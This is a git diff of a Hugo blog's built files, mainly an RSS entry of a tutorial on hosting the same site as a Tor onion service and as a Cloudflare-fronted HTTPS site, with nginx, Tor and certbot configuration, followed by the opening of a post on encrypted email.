<li><strong>Onion</strong>: <code>http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/</code> via Tor, no TLS/HSTS, bound to <code>127.0.0.1:3301</code>.</li>
|
||||
<li><strong>Clearnet</strong>: <code>https://blog.alipourimjourneys.ir</code> behind Cloudflare, Let’s Encrypt cert, <code>Onion-Location</code> header pointing to the onion mirror.</li>
|
||||
</ul></blockquote>
|
||||
<hr>
|
||||
<h2 id="1-tor-hidden-service-onion-basics">1) Tor hidden service (onion) basics</h2>
|
||||
<p>I used Tor’s v3 onion services and mapped onion port 80 → my local web server on <code>127.0.0.1:3301</code>.</p>
|
||||
<p><strong>Install & configure Tor (Debian/Ubuntu):</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt update <span style="color:#f92672">&&</span> sudo apt install -y tor
|
||||
</span></span><span style="display:flex;"><span>sudoedit /etc/tor/torrc
|
||||
</span></span></code></pre></div><p>Add:</p>
|
||||
<pre tabindex="0"><code>HiddenServiceDir /var/lib/tor/hidden_site/
|
||||
HiddenServicePort 80 127.0.0.1:3301
|
||||
</code></pre><p>Make sure the directory is owned by Tor’s user and private:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mkdir -p /var/lib/tor/hidden_site
|
||||
</span></span><span style="display:flex;"><span>sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
|
||||
</span></span><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">700</span> /var/lib/tor/hidden_site
|
||||
</span></span></code></pre></div><p><strong>Important:</strong> use the right systemd unit:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># validate as the Tor user</span>
|
||||
</span></span><span style="display:flex;"><span>sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># (re)start the real service</span>
|
||||
</span></span><span style="display:flex;"><span>sudo systemctl enable --now tor@default
|
||||
</span></span><span style="display:flex;"><span>sudo systemctl restart tor@default
|
||||
</span></span></code></pre></div><p>Get the onion address:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo cat /var/lib/tor/hidden_site/hostname
|
||||
</span></span></code></pre></div><p>Quick check (do remote DNS via SOCKS):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -I --socks5-hostname 127.0.0.1:9050 <span style="color:#e6db74">"http://</span><span style="color:#66d9ef">$(</span>sudo cat /var/lib/tor/hidden_site/hostname<span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span>
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="2-nginx-for-the-onion-localhost-only">2) Nginx for the onion (localhost-only)</h2>
|
||||
<p>I keep the onion site strictly on localhost: <strong>no HTTPS, no redirects, no HSTS</strong>. Tor already provides e2e encryption and authenticity.</p>
|
||||
<p><code>/etc/nginx/sites-available/onion-blog</code>:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> 127.0.0.1:<span style="color:#ae81ff">3301</span> <span style="color:#e6db74">default_server</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74"><your-56-char>.onion</span> 127.0.0.1 <span style="color:#e6db74">localhost</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># keep onion simple; no HSTS/redirects here
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Referrer-Policy</span> <span style="color:#e6db74">no-referrer</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Content-Type-Options</span> <span style="color:#e6db74">nosniff</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Frame-Options</span> <span style="color:#e6db74">SAMEORIGIN</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># (optional) strict CSP so nothing leaks to clearnet
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e"># add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">root</span> <span style="color:#e6db74">/srv/hugo/mysite/public-onion</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">try_files</span> $uri $uri/ <span style="color:#e6db74">/index.html</span>; }
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">location</span> ~<span style="color:#e6db74">*</span> <span style="color:#e6db74">\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)</span>$ {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">access_log</span> <span style="color:#66d9ef">off</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Cache-Control</span> <span style="color:#e6db74">"public,</span> <span style="color:#e6db74">max-age=31536000,</span> <span style="color:#e6db74">immutable"</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">try_files</span> $uri =<span style="color:#ae81ff">404</span>;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span></code></pre></div><p>Enable/reload:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
|
||||
</span></span><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&&</span> sudo systemctl reload nginx
|
||||
</span></span></code></pre></div><blockquote>
|
||||
<p>Gotcha I hit: I had <strong>two</strong> server blocks on <code>127.0.0.1:3301</code>, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it <code>default_server</code>). Also, if you ever use a regex in <code>server_name</code>, the syntax is <code>server_name ~* \.onion$</code> (note the space after <code>~*</code>).</p></blockquote>
|
||||
<hr>
|
||||
<h2 id="3-hugo--papermod-setup-and-version-bumps">3) Hugo + PaperMod setup (and version bumps)</h2>
|
||||
<p>PaperMod now requires <strong>Hugo Extended ≥ 0.146.0</strong>. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read <code>/srv</code> paths by default).</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># install Hugo extended (example)</span>
|
||||
</span></span><span style="display:flex;"><span>VER<span style="color:#f92672">=</span>0.146.0
|
||||
</span></span><span style="display:flex;"><span>cd /tmp
|
||||
</span></span><span style="display:flex;"><span>wget https://github.com/gohugoio/hugo/releases/download/v<span style="color:#e6db74">${</span>VER<span style="color:#e6db74">}</span>/hugo_extended_<span style="color:#e6db74">${</span>VER<span style="color:#e6db74">}</span>_Linux-amd64.tar.gz
|
||||
</span></span><span style="display:flex;"><span>tar -xzf hugo_extended_<span style="color:#e6db74">${</span>VER<span style="color:#e6db74">}</span>_Linux-amd64.tar.gz
|
||||
</span></span><span style="display:flex;"><span>sudo mv hugo /usr/local/bin/hugo
|
||||
</span></span><span style="display:flex;"><span>hugo version <span style="color:#75715e"># should say "extended" and >= 0.146.0</span>
|
||||
</span></span></code></pre></div><p>Create the site and theme:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mkdir -p /srv/hugo <span style="color:#f92672">&&</span> sudo chown -R <span style="color:#e6db74">"</span>$USER<span style="color:#e6db74">"</span>:<span style="color:#e6db74">"</span>$USER<span style="color:#e6db74">"</span> /srv/hugo
|
||||
</span></span><span style="display:flex;"><span>cd /srv/hugo
|
||||
</span></span><span style="display:flex;"><span>hugo new site mysite
|
||||
</span></span><span style="display:flex;"><span>cd mysite
|
||||
</span></span><span style="display:flex;"><span>git init
|
||||
</span></span><span style="display:flex;"><span>git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
|
||||
</span></span></code></pre></div><p><strong>Config updates:</strong> in newer Hugo, <code>paginate</code> is deprecated → use:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#75715e"># config/_default/hugo.toml</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">title</span> = <span style="color:#e6db74">"My Blog"</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">theme</span> = <span style="color:#e6db74">"PaperMod"</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">enableRobotsTXT</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">pagination</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">pagerSize</span> = <span style="color:#ae81ff">10</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">defaultTheme</span> = <span style="color:#e6db74">"auto"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">showReadingTime</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">showPostNavLinks</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">showBreadCrumbs</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">showCodeCopyButtons</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span></code></pre></div><p>I added per-environment overrides so I can build two outputs with different <code>baseURL</code>s:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#75715e"># config/clearnet/hugo.toml</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">"https://blog.alipourimjourneys.ir/"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># config/onion/hugo.toml</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"</span>
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="4-dual-builds-clearnet--onion-and-one-command-deploy">4) Dual builds (clearnet + onion) and one-command deploy</h2>
|
||||
<p>I publish the same content twice—once for each base URL and docroot:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /srv/hugo/mysite
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># clearnet build (served over HTTPS)</span>
|
||||
</span></span><span style="display:flex;"><span>hugo --minify --environment clearnet -d public-clearnet
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># onion build (served via Tor)</span>
|
||||
</span></span><span style="display:flex;"><span>hugo --minify --environment onion -d public-onion
|
||||
</span></span><span style="display:flex;"><span>sudo systemctl reload nginx
|
||||
</span></span></code></pre></div><p>Helper script I use:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo tee /usr/local/bin/build-both >/dev/null <span style="color:#e6db74"><<'EOF'
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">#!/usr/bin/env bash
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">set -euo pipefail
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">cd /srv/hugo/mysite
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">hugo --minify --environment clearnet -d public-clearnet
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">hugo --minify --environment onion -d public-onion
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">sudo systemctl reload nginx
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">echo "Deployed both at $(date)"
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">EOF</span>
|
||||
</span></span><span style="display:flex;"><span>sudo chmod +x /usr/local/bin/build-both
|
||||
</span></span></code></pre></div><p>While editing, I sometimes auto-rebuild on file save:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y entr
|
||||
</span></span><span style="display:flex;"><span>cd /srv/hugo/mysite
|
||||
</span></span><span style="display:flex;"><span>find content layouts assets static config -type f | entr -r build-both
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="5-clearnet-behind-cloudflare--lets-encrypt-manual-dns-01">5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)</h2>
|
||||
<p>Cloudflare is set to <strong>Full (strict)</strong>. I issued a public cert for <code>blog.alipourimjourneys.ir</code> using <strong>manual DNS-01</strong> (no API token):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo snap install --classic certbot
|
||||
</span></span><span style="display:flex;"><span>sudo certbot certonly --manual --preferred-challenges dns -d blog.alipourimjourneys.ir --agree-tos -m you@example.com --no-eff-email
|
||||
</span></span></code></pre></div><p>Certbot tells you to add a TXT record <code>_acme-challenge.blog.alipourimjourneys.ir</code>. Add it in Cloudflare DNS, verify with <code>dig</code>, then continue. Cert ends up at:</p>
|
||||
<pre tabindex="0"><code>/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
|
||||
/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
|
||||
</code></pre><p>Clearnet Nginx vhosts:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>; <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:80</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74">blog.alipourimjourneys.ir</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://blog.alipourimjourneys.ir</span>$request_uri;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># HTTPS origin (behind Cloudflare)
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>; <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74">blog.alipourimjourneys.ir</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ssl_certificate</span> <span style="color:#e6db74">/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># HSTS on clearnet only
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Strict-Transport-Security</span> <span style="color:#e6db74">"max-age=31536000</span>; <span style="color:#f92672">includeSubDomains</span>; <span style="color:#f92672">preload"</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Help Tor Browser discover the onion mirror (safe on clearnet)
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Onion-Location</span> <span style="color:#e6db74">"http://<your-56-char>.onion</span>$request_uri" <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">root</span> <span style="color:#e6db74">/srv/hugo/mysite/public-clearnet</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">try_files</span> $uri $uri/ <span style="color:#e6db74">/index.html</span>; }
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span></code></pre></div><blockquote>
|
||||
<p>Note: don’t add HSTS or HTTPS redirects to the <strong>onion</strong> vhost. Keep onion pure HTTP on localhost.</p></blockquote>
|
||||
<hr>
|
||||
<h2 id="6-troubleshooting-i-ran-into-and-fixes">6) Troubleshooting I ran into (and fixes)</h2>
|
||||
<ul>
|
||||
<li><strong>Tor unit confusion:</strong> <code>tor.service</code> is a tiny master; the real daemon is <code>tor@default</code>. Use that unit and verify config as <code>debian-tor</code>.</li>
|
||||
<li><strong>Permissions:</strong> <code>HiddenServiceDir</code> must be owned by <code>debian-tor</code> and mode <code>700</code>.</li>
|
||||
<li><strong>Mapping mismatch:</strong> If <code>HiddenServicePort 80 127.0.0.1:3301</code> is set, visit <code>http://<onion>/</code> (no <code>:3301</code>). If you set <code>HiddenServicePort 3301 127.0.0.1:3301</code>, you must use <code>http://<onion>:3301/</code>.</li>
|
||||
<li><strong>Curl & .onion:</strong> modern curl refuses <code>.onion</code> unless you use remote DNS via SOCKS:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -I --socks5-hostname 127.0.0.1:9050 <span style="color:#e6db74">"http://<onion>/"</span>
|
||||
</span></span></code></pre></div></li>
|
||||
<li><strong>Two Nginx vhosts on the same port:</strong> I had a duplicate server on <code>127.0.0.1:3301</code> pointing somewhere else, which caused onion 404s. Keep only one (or mark one <code>default_server</code>).</li>
|
||||
<li><strong>Regex in <code>server_name</code>:</strong> if you use it, write <code>server_name ~* \.onion$</code> (space after <code>~*</code>). I fixed an <code>invalid variable name</code> error caused by a missing space.</li>
|
||||
<li><strong>PaperMod with old Hugo:</strong> upgraded to <strong>extended ≥ 0.146.0</strong>. Also updated <code>paginate</code> → <code>[pagination].pagerSize</code>.</li>
|
||||
<li><strong>Snap confinement:</strong> Snap’s <code>hugo</code> couldn’t read <code>/srv</code> (<code>.../void: permission denied</code>). Switched to the tarball build in <code>/usr/local/bin</code>.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="7-not-secure-in-tor-browser">7) “Not secure” in Tor Browser?</h2>
|
||||
<p>That message can appear because onion uses <strong>HTTP</strong>. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference <strong>clearnet</strong> resources (scan the built HTML for <code>http(s)://</code> links that aren’t your onion).</p>
|
||||
<hr>
|
||||
<h2 id="8-day-to-day-workflow">8) Day-to-day workflow</h2>
|
||||
<ul>
|
||||
<li>Create content:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hugo new posts/my-first-post.md <span style="color:#75715e"># then set draft: false</span>
|
||||
</span></span></code></pre></div></li>
|
||||
<li>Publish both:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>build-both
|
||||
</span></span></code></pre></div></li>
|
||||
<li>(Optional) Auto on save:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find content layouts assets static config -type f | entr -r build-both
|
||||
</span></span></code></pre></div></li>
|
||||
<li>(Optional) Git push-to-deploy with a bare repo + post-receive hook that runs <code>build-both</code>.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="final-notes">Final notes</h2>
|
||||
<ul>
|
||||
<li>Clearnet gets <strong>HTTPS + HSTS</strong> and an <code>Onion-Location</code> header.</li>
|
||||
<li>Onion gets <strong>no HSTS/redirects</strong>, and all assets are self-hosted to avoid mixed content.</li>
|
||||
<li>Serving both worlds from one Hugo repo is easy: <strong>two builds, two vhosts, one workflow</strong>.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/tor_clearnet_blog.md">Markdown</a> ·
|
||||
<a href="/sources/posts/tor_clearnet_blog.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
|
||||
jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
|
||||
DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
|
||||
6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
|
||||
UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
|
||||
FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
|
||||
slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
|
||||
TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
|
||||
VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
|
||||
OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
|
||||
N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
|
||||
700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
|
||||
=QlNw
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
|
||||
gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
2
public-clearnet/categories/notes/page/1/index.html
Normal file
2
public-clearnet/categories/notes/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/categories/notes/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/categories/notes/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/categories/notes/"></head></html>
|
||||
11
public-clearnet/categories/privacy/index.html
Normal file
11
public-clearnet/categories/privacy/index.html
Normal file
File diff suppressed because one or more lines are too long
158
public-clearnet/categories/privacy/index.xml
Normal file
158
public-clearnet/categories/privacy/index.xml
Normal file
|
|
@ -0,0 +1,158 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Privacy on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/privacy/</link><description>Recent content in Privacy on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Thu, 30 Oct 2025 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/privacy/index.xml" rel="self" type="application/rss+xml"/><item><title>Sending End‑to‑End Encrypted Email (E2EE) without losing friends</title><link>https://blog.alipour.eu/posts/e2ee/</link><pubDate>Thu, 30 Oct 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/e2ee/</guid><description>A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.</description><content:encoded><![CDATA[<p>If you’ve ever thought “I should really send this <strong>securely</strong>” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a <strong>usable</strong> path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.</p>
|
||||
<blockquote>
|
||||
<p>Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.</p></blockquote>
|
||||
<h2 id="why-people-dont-use-e2ee-email-and-why-you-still-should">Why people <em>don’t</em> use E2EE email (and why you still should)</h2>
|
||||
<p>Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.</p>
|
||||
<p>But the <strong>upsides</strong> are huge: true confidentiality of message content and attachments, stronger <strong>authenticity</strong> (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to <strong>hesitate</strong> before sending, it probably matters enough to encrypt.</p>
|
||||
<p>I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!</p>
|
||||
<h2 id="the-contenders-and-how-they-feel-to-use">The contenders (and how they feel to use)</h2>
|
||||
<h3 id="proton-mail-consumerfriendly-great-crossprovider-story">Proton Mail (consumer‑friendly, great cross‑provider story)</h3>
|
||||
